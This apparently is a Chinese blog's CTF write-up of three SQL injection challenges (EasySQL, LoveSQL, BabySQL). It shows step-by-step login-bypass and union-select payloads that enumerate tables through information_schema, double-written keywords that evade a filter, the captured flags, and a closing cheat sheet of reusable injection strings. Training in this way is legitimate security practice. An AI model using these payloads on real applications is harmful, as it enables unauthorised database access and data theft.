[极客大挑战 2019]EasySQL,LoveSQL,BabySQL

一、EasySQL:

很酷,看看有没有什么注入点。

账号:admin' or 1=1#
密码:1

起飞,看第二个。

二、LoveSQL

熟人嗷,再常规测试。

账号:admin' or 1=1#
密码:1

得到这一串字符,哈希加密的,跑了一下没跑出来。

看看order by。

账号:admin'  order by 3#
密码:1

从2试到4,4报错,于是有3列。

来试试union

账号:1' union select 1,2,database()#
密码:1

可以,接着看表名

账号:1' union select 1,2,table_name from information_schema.tables where table_schema='geek'#
密码:1

不太对劲,哪能就一个表,用group_concat()再看看

账号:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#
密码:1

哦吼,一看这个l0ve1ysq1就不简单,下面看列。

账号:1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
密码:1

password,一看就有猫腻了,查一下

账号:1' union select 1,2,group_concat(password) from geek.l0ve1ysq1#
密码:1

得到flag,前有悲伤。

字符串:

wo_tai_nan_le, glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,

flag{cdb791f7-f86f-4657-8a5e-e8c7c80c0912}

兄弟你会找到的。

三、BabySQL

可以,还是这个好兄弟

日常or

账号:admin' or 1=1#
密码:1

?我or呢?

看这样像给删了,双写试一下。

账号:admin' oorr 1=1#
密码:1

起飞,看这样估计跟上一个没什么区别了,就多个双写,试试吧。

账号:admin'  oorrder by 3#
密码:1

发现by也删除了,双写by,一样从2到4试一遍。

账号:admin'  oorrder bbyy 3#
密码:1

可以,接着进行上面的操作。

账号:1' union select 1,2,database()#
密码:1

union 和 select一样过滤了,双写

账号:1' uniunionon seleselectct 1,2,database()#
密码:1

一样得到库geek

查表。from where也过滤了,双写

账号:1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek'#
密码:1

得到表名:b4bsql

账号:1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name='b4bsql'#
密码:1

一样password

账号:1' ununionion selselectect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql#
密码:1

得到字符串:

i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_found_flag_so_stop,i_told_you_to_stop,hack_by_cl4y

flag{3694d8ee-1ce3-479a-8307-6e4d71ce1349}

我也想玩2077

什么hub?不懂,不知道,没看过。

四、关于information_schema

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

五、SQL注入information_schema数据库常用表说明

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取之此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

六、union常用方法

union查询之前的判断列数:

1' order by 3#                           //从2慢慢往上试,最小报错的前一个就是列数

union查询数据库名:

1' union select 1,2,database()#

union查询表名:

1' union select 1,2,table_name from information_schema.tables where table_schema='上一步查出来的数据库名'#                 //这里table_schema相当于数据库名

union查询列名:

1' union select 1,2,column_name from information_schema.columns where table_name='上一步查出来的表名'#

union爆字段值:

1' union select 1,2,上一步查出来的字段名 from 数据库名.表名#

一般在查表的时候发现只有一个表,就要试试group_concat()了

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'#
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇